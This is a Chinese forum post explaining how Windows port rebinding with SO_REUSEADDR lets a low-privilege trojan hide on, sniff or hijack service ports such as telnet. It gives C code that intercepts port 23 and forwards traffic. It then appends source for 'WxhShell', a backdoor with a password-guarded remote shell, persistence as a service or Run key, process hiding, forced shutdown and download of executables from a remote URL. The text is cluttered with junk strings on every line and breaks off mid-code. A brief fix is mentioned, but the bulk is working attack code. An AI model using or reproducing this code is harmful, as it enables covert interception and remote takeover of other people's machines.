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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: W ;P1T"*A  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); "<v_fF<Y  
Dr6Br<yi  
  saddr.sin_family = AF_INET; c~5#)AXMT  
N5}vy$t_P  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); 1.p?P] .  
~9kvC&/{[  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); SjtGU47$!  
Rb#Z'1D'G  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 {;n?c$r  
}E*d)n|  
  这意味着什么?意味着可以进行如下的攻击: wju~5  
,\+tvrR4X  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 Gxi;h=J2)>  
@tEVgyN  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) ?9H7Twi+T  
qt^%jIv  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 |GdA0y\v*}  
+A~lPXAXW  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  #xW%RF  
'x+0 yd  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 2}$Vi$ R  
c`doR(oZ  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 UM|GX  
>B8)Wb :  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 2mu~hJ  
f#eTi&w  
  #include AA>5h<NM  
  #include Wn0r[h5t  
  #include *VHBTO9  
  #include    ;cp-jY_U  
  DWORD WINAPI ClientThread(LPVOID lpParam);   _q6+]  
  int main() u%XFFt5  
  { @]3(l  
  WORD wVersionRequested; nXi6Q+YI  
  DWORD ret; <e/O"6='Z  
  WSADATA wsaData; AU87cqq  
  BOOL val; GVn9=[r  
  SOCKADDR_IN saddr; Y0s^9?*  
  SOCKADDR_IN scaddr; 1Y}gki^F  
  int err; A'[A!NL%  
  SOCKET s; :vurU$\  
  SOCKET sc; JO :m: M  
  int caddsize; 3C_g)5 _:  
  HANDLE mt; rt^z#2$  
  DWORD tid;   *ivbk /8  
  wVersionRequested = MAKEWORD( 2, 2 ); Zr}`W \  
  err = WSAStartup( wVersionRequested, &wsaData ); ,J}lyvkd  
  if ( err != 0 ) { M8KfC!  
  printf("error!WSAStartup failed!\n"); Z"Et]xSU%$  
  return -1; Sw5H+!  
  } /R|"/B0  
  saddr.sin_family = AF_INET; _& KaI }O  
   +S;8=lzuV  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 s3J T1TX  
h@{@OAu?  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); a.%]5%O;t  
  saddr.sin_port = htons(23); JYv&It  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) elKQge  
  { HoRLy*nU  
  printf("error!socket failed!\n"); ni~45WX3  
  return -1; oC4rL\d{  
  } ?a}eRA7  
  val = TRUE; xZ;';}&pj  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 9sYX(Fl  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) UwE^ij  
  { 1+y&n?  
  printf("error!setsockopt failed!\n"); \F1n Ej  
  return -1; Rx`0VQ  
  } QO#ZQ~  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; l\$C)q6O  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 QRdb~f;<hj  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 &v 5yo}s  
y:2o-SJn  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 5)T{iPU%X  
  { !Id F6 %  
  ret=GetLastError(); 6@l:(-(j2A  
  printf("error!bind failed!\n"); "Ww^?"jQ)  
  return -1; cst=ms  
  } Ho \+xX  
  listen(s,2); / /wmJ |  
  while(1) KJ9~"v  
  { ,(c="L4[  
  caddsize = sizeof(scaddr); FfD2 &(-R  
  //接受连接请求 29av8eW?3  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); PY>j?otD  
  if(sc!=INVALID_SOCKET) 3_33@MM  
  { X,y$!2QI  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); c#Y9L+O  
  if(mt==NULL) u{H_q&1  
  { X='4 N<  
  printf("Thread Creat Failed!\n"); 2ZE4^j|  
  break; .Bi7~*N  
  } OcSLRN?t  
  } (>;~((2  
  CloseHandle(mt); ;nh7Elk  
  } |#-Oz#Eg'  
  closesocket(s); \[D"W{9l  
  WSACleanup(); Q45rP4mQ  
  return 0; Pv0+`>):  
  }   [,1j(s`N5  
  DWORD WINAPI ClientThread(LPVOID lpParam) M2oKLRt)L  
  { .pdgRjlSn  
  SOCKET ss = (SOCKET)lpParam; 97Q!Rot  
  SOCKET sc; GGLVv)  
  unsigned char buf[4096]; ~+T~}S  
  SOCKADDR_IN saddr; [xE\IqwM  
  long num; w6wXe_N+M  
  DWORD val; [6/ %ynlP  
  DWORD ret; ;$%+TN  
  //如果是隐藏端口应用的话,可以在此处加一些判断 7 'f>  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   D2?7=5DgS  
  saddr.sin_family = AF_INET; g8qN+Gg  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); l7x%G@1#~W  
  saddr.sin_port = htons(23); qY0Ic5wCY  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) eA+6-'qN  
  { 0&mz'xra  
  printf("error!socket failed!\n"); Sk1yend4  
  return -1; V'6%G:?0a  
  } UhEnW8^bz1  
  val = 100; wEkW=  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) W0nRUAo[  
  { BRW   
  ret = GetLastError(); QTLOP~^  
  return -1; ] xH `  
  } L^0jyp  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) SgY>$gP9S  
  { JgxOxZS`@  
  ret = GetLastError(); c^=,@#  
  return -1; Pd@?(WQ  
  } ^$T>3@rDB  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) G4=v2_]  
  { 9^aMmN&6N2  
  printf("error!socket connect failed!\n"); R_H di~ k  
  closesocket(sc); kj-S d^  
  closesocket(ss); W}Z|v M$  
  return -1; s+(8KYTs`  
  } S&QZ"4jq  
  while(1) goxgJOiB  
  { BGA.8qWR4  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 )P,jpE8  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 3-Ti'xM  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 .IYE"0)wJ  
  num = recv(ss,buf,4096,0); y t<K!=7&  
  if(num>0) ^ 5UIbA(  
  send(sc,buf,num,0); icnp^2P  
  else if(num==0) $:<KG&Br  
  break; k|g~xmI;  
  num = recv(sc,buf,4096,0); IPY@9+]  
  if(num>0) R_ Z H+@O  
  send(ss,buf,num,0); #nu?b?X'  
  else if(num==0) G,$jU9 f  
  break; C"YM"9JSJ  
  } .IG(Y!cB  
  closesocket(ss); mk0rAN  
  closesocket(sc); N 2x\O~7  
  return 0 ; -ff*,b$Q/  
  } JM!o(zbt  
,I)/ V>u  
yCm iW %L4  
========================================================== X#p E!mT  
p'_* >%4~  
下边附上一个代码,,WXhSHELL tt`b+NOH>  
G8<,\mg+  
========================================================== /r]IY.  
.ipYZg'V  
#include "stdafx.h" fc&4e:Ve  
5$jKw\FF=  
#include <stdio.h> &| ',o ?'F  
#include <string.h> % +eZ U)N  
#include <windows.h> cl{;%4$9  
#include <winsock2.h> )TP7gLv=b  
#include <winsvc.h> +=:CW'B5  
#include <urlmon.h> A3h[VnuG,  
3g} ]nj:N  
#pragma comment (lib, "Ws2_32.lib") }9@ ,EEhg  
#pragma comment (lib, "urlmon.lib") }t]CDa_n  
y=q\1~]Z  
#define MAX_USER   100 // 最大客户端连接数 ~xzRx$vU  
#define BUF_SOCK   200 // sock buffer 6{1c S  
#define KEY_BUFF   255 // 输入 buffer \f%jN1z  
~I!7]i]"*?  
#define REBOOT     0   // 重启 QZzi4[-as  
#define SHUTDOWN   1   // 关机 N|8TE7- F|  
O[q {y  
#define DEF_PORT   5000 // 监听端口 P~=|R9 t  
D[9eu>"'9M  
#define REG_LEN     16   // 注册表键长度 7]G3yt->  
#define SVC_LEN     80   // NT服务名长度 X_"TG;*$  
ZG<<6y*.  
// 从dll定义API IEO5QV:u:  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); qf+I2 kyS  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ` 8.d  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); H{9di\xnEm  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ^TnBtIU-B  
VBsS1!g  
// wxhshell配置信息 M"5,8Q`PkI  
struct WSCFG { Uln[UK  
  int ws_port;         // 监听端口 HP&+ 8  
  char ws_passstr[REG_LEN]; // 口令 llI`"a  
  int ws_autoins;       // 安装标记, 1=yes 0=no `2U zJ~  
  char ws_regname[REG_LEN]; // 注册表键名 .3!=]=  
  char ws_svcname[REG_LEN]; // 服务名 a B%DIH,  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 rT5dv3^MW!  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 7pmhH%Dn$  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 vB KBMnSd  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ZOfyy E  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" - x@mS2  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 kcI3pmgj  
Oe*emUX7  
}; ;aWH`^{i  
:SziQQ  
// default Wxhshell configuration LbvnV~S  
struct WSCFG wscfg={DEF_PORT, G' Jsk4:c  
    "xuhuanlingzhe", Al6)$8]e   
    1, RCo!sZP}  
    "Wxhshell", %Q rf ]  
    "Wxhshell", # (T  
            "WxhShell Service", ti3T ?_  
    "Wrsky Windows CmdShell Service", g!cTG-bh>J  
    "Please Input Your Password: ", TDk'  
  1, z4{ H=  
  "http://www.wrsky.com/wxhshell.exe", M-"%4^8_  
  "Wxhshell.exe" jBarYg  
    }; ,;hI yT  
6:#zlKYJ  
// 消息定义模块 ]xfu @''  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Tf<1Z{9  
char *msg_ws_prompt="\n\r? for help\n\r#>"; F3i+t+Jt  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Hq3"OMGq  
char *msg_ws_ext="\n\rExit."; z45ImItH  
char *msg_ws_end="\n\rQuit."; q:+,'&<D  
char *msg_ws_boot="\n\rReboot..."; ; Sq_DP1W  
char *msg_ws_poff="\n\rShutdown..."; &}Cm9V  
char *msg_ws_down="\n\rSave to "; b_:]Y<{> f  
m "h{HgJd  
char *msg_ws_err="\n\rErr!"; TE3A(N'  
char *msg_ws_ok="\n\rOK!"; -y)ij``VY  
-: dUD1  
char ExeFile[MAX_PATH]; ^[uA^  
int nUser = 0; #jv~FR`4v^  
HANDLE handles[MAX_USER]; w?Cqe N  
int OsIsNt; AK} wSXF  
I!|_C~I`2  
SERVICE_STATUS       serviceStatus; 1c8 J yp  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; V^As@P8,'(  
k$j>_U? P  
// 函数声明 6DD"Asi+  
int Install(void); tQ&.;{5[f  
int Uninstall(void); LaG./+IP  
int DownloadFile(char *sURL, SOCKET wsh); CMI%jyiX  
int Boot(int flag); JJPU!  
void HideProc(void); 4%0eX]  
int GetOsVer(void); #ih(I7prH  
int Wxhshell(SOCKET wsl); GBFYa6\4sT  
void TalkWithClient(void *cs); mADq_` j  
int CmdShell(SOCKET sock); esIE i!d  
int StartFromService(void); (:4N#p  
int StartWxhshell(LPSTR lpCmdLine); uK2MC?LP  
a4Qr\"Qm  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ]<V[H  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 4RGEg;]S  
@bSxT,2  
// 数据结构和表定义 uckag/tv  
SERVICE_TABLE_ENTRY DispatchTable[] = yF8 av=<{  
{ 3pl/k T.\  
{wscfg.ws_svcname, NTServiceMain}, P4-`<i]!S  
{NULL, NULL} B\G?dmo  
}; }_vE lBh6$  
BxS\ "W  
// 自我安装 vd6Y'Zk|F6  
int Install(void) 0GK<l  
{ <Wn={1Ts"  
  char svExeFile[MAX_PATH]; =* oFs|v  
  HKEY key; zxTcjC)y  
  strcpy(svExeFile,ExeFile); ^2rNty,nH  
s`B]+  
// 如果是win9x系统,修改注册表设为自启动 !`LaX!bmp  
if(!OsIsNt) { ,]+P#eXgE  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { cah1'Y  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); }(4U7Ac  
  RegCloseKey(key); ]h3<r8D_#  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { S='AA_jnw  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ^I*</w8  
  RegCloseKey(key); t;!v jac  
  return 0; hy3j8?66  
    } ;}"_hLX  
  } `xMmo8u4  
} BU(:6  
else { GVP"~I~/:  
]r8t^bqe  
// 如果是NT以上系统,安装为系统服务 pC2ZN  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); [DpGL/Y.  
if (schSCManager!=0) $w4%JBZr  
{ Cp` [0v~0  
  SC_HANDLE schService = CreateService W ZdEfY{  
  ( %5Hsd  
  schSCManager, >>oR@  
  wscfg.ws_svcname, #9M6 q  
  wscfg.ws_svcdisp, YNyaz\L  
  SERVICE_ALL_ACCESS, MB06=N  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , veIR)i@dx  
  SERVICE_AUTO_START, %xF j;U?  
  SERVICE_ERROR_NORMAL, (&HAjB  
  svExeFile, pLjet~2}iJ  
  NULL, D/uGL t~D(  
  NULL, v10p]=HmO  
  NULL, ()a(PvEO  
  NULL, m7}PJ^*b  
  NULL (ZH5/VKp  
  ); |:BKexjHL  
  if (schService!=0) 5 #3/  
  { ARvT  
  CloseServiceHandle(schService); ;T0F1  
  CloseServiceHandle(schSCManager); $fES06%  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); F9@,T8I  
  strcat(svExeFile,wscfg.ws_svcname); 3C'`K ,  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { A(zF[\{]  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ;43Ye ^=  
  RegCloseKey(key); exT O#*o  
  return 0; y=7WnQc  
    } })RT2zw}  
  } BB@I|)9O(  
  CloseServiceHandle(schSCManager); WJ":BK{NM  
} golr,+LSo  
} {@, } M  
Ww-%s9N<  
return 1; #2l6'gWE0  
} XHU&ix{Od  
hiO:VA  
// 自我卸载 _yk} [x0>  
int Uninstall(void) M0VC-\W7f  
{ xEdCGwgp#  
  HKEY key; hp=TWt~  
m}/LMY  
if(!OsIsNt) { B w?Kb@  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { v|uY\Z  
  RegDeleteValue(key,wscfg.ws_regname); tVVnQX  
  RegCloseKey(key); FdwT  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { pn3f{fQ  
  RegDeleteValue(key,wscfg.ws_regname); <q|IP_  
  RegCloseKey(key); Q M7z .  
  return 0; AKs=2N> 7  
  } C$Pe<C#  
} 2ED^uc: 0S  
} %{qJkjG  
else { NJK?5{H'  
.I\)1kjX  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); hDa I@_86  
if (schSCManager!=0) / !J1}S  
{ v l59|W6  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); b*$/(2"m  
  if (schService!=0) ~3-2Iu^F  
  { yem*g1  
  if(DeleteService(schService)!=0) { NCbl|v=  
  CloseServiceHandle(schService); 7 +A-S9P)  
  CloseServiceHandle(schSCManager); )P4#P2  
  return 0; Vfew )]I  
  } D~_|`D5WK  
  CloseServiceHandle(schService); `s74g0h  
  } kB_uU !G  
  CloseServiceHandle(schSCManager); ] =ar&1}J  
} .C=&` ;Vs  
} Y^5X>  
obWBX'  
return 1; dv3+x\`9  
} [ox!MQ+s  
r"#h6lYK&  
// 从指定url下载文件 /?X1>A:*  
int DownloadFile(char *sURL, SOCKET wsh) K|*Cka{  
{ 9`{[J['V  
  HRESULT hr; JmN,:bI  
char seps[]= "/"; w6tb vhcmU  
char *token; jRIjFn|~{Y  
char *file; pl62mp!  
char myURL[MAX_PATH]; [XFZ2'OO  
char myFILE[MAX_PATH]; 1o)Vzv  
s '%KKC  
strcpy(myURL,sURL); aIaydu+\  
  token=strtok(myURL,seps); KI(9TI *  
  while(token!=NULL) - bL 7M5  
  { !M:m(6E1  
    file=token; *]G&pmMs  
  token=strtok(NULL,seps); !1<x@%  
  } ,Yhy7w  
tV2SX7N  
GetCurrentDirectory(MAX_PATH,myFILE); o?A/  
strcat(myFILE, "\\"); 5wXe^G  
strcat(myFILE, file); .&2pZ  
  send(wsh,myFILE,strlen(myFILE),0); {m5tgVi&  
send(wsh,"...",3,0); W"9iFj X  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); N{n}]Js1D-  
  if(hr==S_OK) 6_/oVvd  
return 0; '>FJk`iI  
else H8 yc<  
return 1; KLBV(`MS  
-,j J{Y~  
} YLk; ^?  
Mi'Q5m  
// 系统电源模块 lh`inAt)"  
int Boot(int flag) X'N 4a  
{ <LM<,  
  HANDLE hToken;  iqf+rBL  
  TOKEN_PRIVILEGES tkp; $ hB;r  
2 =tPxO')B  
  if(OsIsNt) { Y{y #us1  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ^EU& 6M2  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 'R6D+Vk/  
    tkp.PrivilegeCount = 1; @'[w7HsJ  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; }i_[wq{E&  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); lv9Ss-c4  
if(flag==REBOOT) { CaNZScnZ  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) E&0A W{  
  return 0; : 4$Ex2  
} oQ!}@CaN|  
else { 2^Gl;3  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) G[u_Uu=>  
  return 0; Q(m} Sr4  
} 0 O4'Ts ?  
  } K/oPfD]  
  else { 'T[=Uuj"  
if(flag==REBOOT) { q|2{W.P5qi  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) [ANit0-~  
  return 0; 1DcYc-k#  
} Y>!9P\Xe  
else { ri~dWx  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) `9Ngax=_  
  return 0; mm%w0dOb"  
} {neE(0c  
} 9B Lz  
tjkY[  
return 1; *sf9(%j  
} ] d| -r:4  
o)n8,k&nm  
// win9x进程隐藏模块 "Ks%!  
void HideProc(void) !Dkz6B*  
{ Q"8)'dL'  
7d/wT+f  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); n);2b\&  
  if ( hKernel != NULL ) S|;a=K&hS  
  { _5M!ec  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Ed #%F-1sX  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); EH3jzE3N  
    FreeLibrary(hKernel); lsW.j#yE!  
  } S$%/9^\jF  
6f 6_ztTL  
return; +YT/od1t7  
} 6N.mSnp  
0]8+rWp|Nz  
// 获取操作系统版本 /0SG  
int GetOsVer(void) &{&lCBN  
{ H*|Bukgt/M  
  OSVERSIONINFO winfo; 3]'=s>UO>^  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); n i@D7:h  
  GetVersionEx(&winfo); v)N6ZOj*C  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) #Vn=(U4}!_  
  return 1; m'k`p5[=h  
  else &g,K5at  
  return 0; -j3 -H&  
} L3q)j\ ls  
"r cPJX  
// 客户端句柄模块 <)Kjf/x  
int Wxhshell(SOCKET wsl) \, n'D  
{ (#c5Q&  
  SOCKET wsh; _'n;rZ+  
  struct sockaddr_in client; i40r}?-  
  DWORD myID; KtEM H  
/dOQ4VA\  
  while(nUser<MAX_USER) WbH/K]/1)h  
{ !::k\}DS  
  int nSize=sizeof(client); IvIBf2D;Q  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); NL&g/4A[a  
  if(wsh==INVALID_SOCKET) return 1; l[G ,sq"  
3}g?d/^E3  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); k`)LO`))  
if(handles[nUser]==0) M#S8x@U  
  closesocket(wsh); pI(FUoP^  
else F]yclXf('  
  nUser++; r\],5x'xSu  
  } ~R)w 9uq  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); n4."}DO  
"G6d'xkP  
  return 0; Bo%M-Gmu  
} BqZLqGO Ku  
3=bzIU  
// 关闭 socket ' 1P_*  
void CloseIt(SOCKET wsh) m OmT]X  
{ N0 ?O*a  
closesocket(wsh); 'Iyk`=R  
nUser--; .v1rrH?  
ExitThread(0); rLL;NTN+/  
} ]v_xEH}T  
MW*}+ PCY  
// 客户端请求句柄 SVq7qc9K?  
void TalkWithClient(void *cs) m}uF&|5  
{ l'16B^  
E=s`$ A  
  SOCKET wsh=(SOCKET)cs; iUI,r*  
  char pwd[SVC_LEN]; AU'{aC+p  
  char cmd[KEY_BUFF]; njUM>E,'  
char chr[1]; {z F  
int i,j; eA4*Be;9e  
dJ24J+9}]j  
  while (nUser < MAX_USER) { ixKQh};5/  
kIW Q`)'  
if(wscfg.ws_passstr) { M!X@-t#  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); fI$, ?>  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); |?8CV\D!  
  //ZeroMemory(pwd,KEY_BUFF); g X(QRQ  
      i=0; v?LJ_>hw*T  
  while(i<SVC_LEN) { =?*V3e3{  
BMX x(W]  
  // 设置超时 &OzJ^G\o  
  fd_set FdRead; =Fj : #s  
  struct timeval TimeOut; z%g<&Cq  
  FD_ZERO(&FdRead); C i*TX  
  FD_SET(wsh,&FdRead); ["L?t ^*G  
  TimeOut.tv_sec=8; !Aw.f!  
  TimeOut.tv_usec=0; cuKgO{.GH  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); $^ >n@Q@&L  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); V|a 59 [y?  
9h0|^ttF  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); > %Y#(_~a  
  pwd=chr[0]; T3?kabbF  
  if(chr[0]==0xd || chr[0]==0xa) { ;F0A\5I  
  pwd=0; .FMF0r>l  
  break; T@vVff  
  } uo%O\} #u9  
  i++; Q  o=  
    } t]&n_]`{.  
^9{ 2  
  // 如果是非法用户,关闭 socket KPO((G0&  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); IS=)J( 0  
} QM_~w \  
q?0goL  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); aPb!-o{  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); iTK1I0  
"R30oA#m  
while(1) { O-'T*M>  
u8,T>VNVw  
  ZeroMemory(cmd,KEY_BUFF); 5j}@Of1pd  
3<`h/`ku  
      // 自动支持客户端 telnet标准   7olA@;$  
  j=0; n&V(c&C  
  while(j<KEY_BUFF) { dF?pEet?2  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 4@W.{|2~  
  cmd[j]=chr[0]; K 6G n  
  if(chr[0]==0xa || chr[0]==0xd) { \Fe5<G'v  
  cmd[j]=0; zO\"$8q*  
  break; X0P$r6 ;  
  } >C&!# 3  
  j++; ^a}{u$<  
    } v0xi(Wu  
6R,;c7Izhd  
  // 下载文件 #UI`G3w<  
  if(strstr(cmd,"http://")) { }}xR?+4A  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); oz0-'_  
  if(DownloadFile(cmd,wsh)) 02+^rqIx5  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); dJ;;l7":~  
  else Ud9\;Qse  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); AP~!YwLW  
  } \C6m.%%={R  
  else { (J;?eeP  
e,4G:V'NX  
    switch(cmd[0]) { F3f>pK5  
  Bh.'%[',  
  // 帮助 h7w<.zwu t  
  case '?': { U!`'Qw;  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); * K7L5.  
    break; q>X:z0H  
  } \ lKQ'_  
  // 安装 <;T7q EIlo  
  case 'i': { @kK=|(OB'  
    if(Install()) JjCf<ktE.  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); *w6N&  
    else PDsLJ|:yL  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ";xEuX  
    break; A y`a>:p  
    } <w A_2S Y  
  // 卸载 Jzj~uz  
  case 'r': { 2#[Y/p  
    if(Uninstall()) N?Z?g_a8  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); !6%mt}h  
    else %In"Kh*  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); h=tY 5]8  
    break; GhT7:_r~  
    } th<]L<BP/  
  // 显示 wxhshell 所在路径 CNz[@6-cYU  
  case 'p': { ;wF|.^_2  
    char svExeFile[MAX_PATH]; 3$b(iI< "  
    strcpy(svExeFile,"\n\r"); :tgTYIF  
      strcat(svExeFile,ExeFile); D0P% .r"v  
        send(wsh,svExeFile,strlen(svExeFile),0); C G7 LF  
    break; ",+uvJT1O  
    } 93dotuF  
  // 重启 GwV FD%  
  case 'b': { @W,Y_8:  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); IY:O?M  
    if(Boot(REBOOT)) ;0 *^98K  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); !RD,:\5V  
    else { Y^G3<.B  
    closesocket(wsh); IO'Q}bU4vs  
    ExitThread(0); ^`7t@G$ D  
    } t<7WM'2<y  
    break; 7 AiCQWf9  
    } [ b W=>M  
  // 关机 Yp)U'8{h c  
  case 'd': { w~&]gyf  
